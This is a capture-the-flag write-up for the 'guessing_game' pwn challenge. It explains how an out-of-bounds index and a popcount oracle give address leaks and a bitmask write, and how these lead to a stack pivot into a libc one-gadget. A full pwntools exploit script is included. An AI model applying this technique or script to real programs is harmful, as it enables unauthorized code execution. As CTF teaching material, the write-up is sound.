The handout included the challenge binary guessing_game along with the exact libc.so.6 and dynamic loader ld-linux-x86-64.so.2 used by the challenge environment.
$ checksec --file=guessing_game_patched
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 53 Symbols No 0 3 guessing_gameWhat the program does ?
When you connect, the game:
1 . Seeds rand() with the current time and fills an array of 10 secret numbers.
2 . Shows you a menu:
Choice:
- 1 → "guess a number": asks for an Index and a Value.
- 0 → "submit email" → ends the game.
3 . For a guess, it does :
uint64_t answers[10]; // rbp-0x90 .. rbp-0x41
uint64_t solved = 0; // rbp-0x40 (slot 10, right after answers[9])
uint64_t attempted = 0; // rbp-0x38 (slot 11, right after solved)
read(&index); // strtoull, NO range check!
read(&value);
bit = 1ULL << (index & 0x3f); // bit position is masked to 0-63
attempted |= bit; // ALWAYS set, win or lose
if (answers[index] == value) { // <-- index is used RAW, unmasked!
puts("Correct!");
solved |= bit;
}
else {
diff = popcount(answers[index] ^ value);
printf("%d\n", diff); // tells you HOW WRONG you were
}The important detail: the bit position used for the mask (index & 0x3f) is masked, but the memory address answers[index] is not controlled. That's the entire bug.
Index is read with strtoull(), a plain unsigned 64-bit number, no bounds checking against 0–9.
So when the code does answers[index], it's really doing :
address = rbp - 0x90 + index * 8Since index can be anything from 0 to 2^64-1, this lets us point address almost anywhere in memory relative to the stack frame — before the array, after it, or way off into other stack frames .
On top of that, because solved and attempted are two 8-byte local variables sitting immediately after answers[9] in memory, they are secretly reachable through the same array .
That overlap is what turns this from "just a leak" into a leak AND a write.
| Index | Address | What it really is |
| 0–9 | rbp-0x90 .. rbp-0x48 | the 10 real random answers |
| 10 | rbp-0x40 | the solved bitmask |
| 11 | rbp-0x38 | the attempted bitmask |
| 12+ | further up the stack | other locals, saved RBP, ret addr |
1 — Leaking memory with a "warmer / colder" oracle
We can't directly read memory, but the program tells us how many bits differ between our guess and the real value (popcount(answers[index] ^ value)).
That's an oracle we can abuse bit by bit.
finding_bits(index) does this :
1 . Ask with value = 0 → get base_wrong = number of 1-bits in the real value.
2. For each bit i from 0 to 63:
- Guess value = 1 << i.
- If the current_wrong drops below base_wrong, that bit must be set.
- If it ever hits 0, we found the exact value — done.
3. Repeat for all 64 bits → full 64-bit value reconstructed.
This is basically 20/questions applied to raw memory. Using this, the exploit leaks:
- index = 16 → stack leak → used to compute attempted_addr
- index = 21 → libc leak → subtract fixed offset 0x29ca8 → libc base .
attempted_addr = stack_leak - 0x48
libc.address = libc_leak - 0x29ca82 — Turning the oracle into a write
Every guess (right or wrong) ORs a bit into attempted (slot 11 / rbp-0x38).
Only a correct guess ORs a bit into solved (slot 10 / rbp-0x40).
So:
- write_attempted(value) — for every bit set in target, send a guess with index & 0x3f equal to that bit. The unconditional OR is enough. After looping, slot 11 equals value.
- write_solved(value) — same idea, but uses finding_bits() for each target bit because we need an actual correct guess.
The exploit plants:
write_solved(p, libc.address) # slot 10 = libc base
write_attempted(p, xor_edi_edi_ret, libc.address) # slot 11 = gadget address3 — Triggering the pivot
Choice 0 ("submit your email") calls a function that does:
puts("Submit your email here...");
fgets(rbp, 8, stdin); // writes 8 raw bytes AT the saved RBP!This is a classic stack-pivot primitive:
leave → rsp = rbp; pop rbp (rsp = value we sent)
ret → jumps to [rsp] (jumps to controlled data)The exploit sends submit(p, attempted_addr - 8), redirecting into the fake chain we planted — landing on a one-gadget (libc.address + 0xddf83) that pops a shell.
from pwn import *
exe = ELF("./guessing_game_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.arch = "amd64"
context.log_level = "info"
context.binary = exe
def check(p, index, value):
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Value: ", str(value).encode())
result = p.recvline()
if b"Correct" in result:
return 0
return int(re.search(rb"\d+", result).group())
def finding_bits(p, index):
base_wrong = check(p, index, 0)
result = 0
for i in range(64):
current = 1 << i
current_wrong = check(p, index, current)
if current_wrong == 0:
return current
if current_wrong < base_wrong:
result |= current
assert check(p, index, result) == 0
return result
def write_attempted(p, value, solved):
if (value & solved) != solved:
return False
for bit in range(64):
if (value >> bit) & 1:
check(p, bit, 0xffffffff)
return True
def write_solved(p, value):
required = (1 << 16) | (1 << 21)
if (value & required) != required:
return False
for bit in range(64):
if (value >> bit) & 1:
finding_bits(p, bit)
return True
def submit(p, new_rbp):
p.sendlineafter(b"Choice: ", b"0")
p.sendafter(b"impossible.\n", p64(new_rbp))
def exploit():
p = process(exe.path)
stack_leak = finding_bits(p, 16)
attempted_addr = stack_leak - 0x48
log.success(f"stack leak : {stack_leak:#x}")
log.success(f"attempted addr : {attempted_addr:#x}")
libc_leak = finding_bits(p, 21)
libc.address = libc_leak - 0x29ca8
log.success(f"libc leak : {libc_leak:#x}")
log.success(f"libc base : {libc.address:#x}")
one_gadget = libc.address + 0xddf83
xor_edi_edi_ret = libc.address + 0xc8b09
log.success(f"xor edi; ret : {xor_edi_edi_ret:#x}")
log.success(f"one gadget : {one_gadget:#x}")
if not write_solved(p, libc.address):
log.failure("write_solved failed")
p.close()
return None
if not write_attempted(
p,
xor_edi_edi_ret,
libc.address
):
log.failure("write_attempted failed")
p.close()
return None
check(p, 16, one_gadget)
submit(p, attempted_addr - 8)
return p
def main():
while True:
p = exploit()
if p is not None:
break
log.warning("exploit attempt failed, retrying...")
p.interactive()
if __name__ == "__main__":
main()brunner{REDACTED}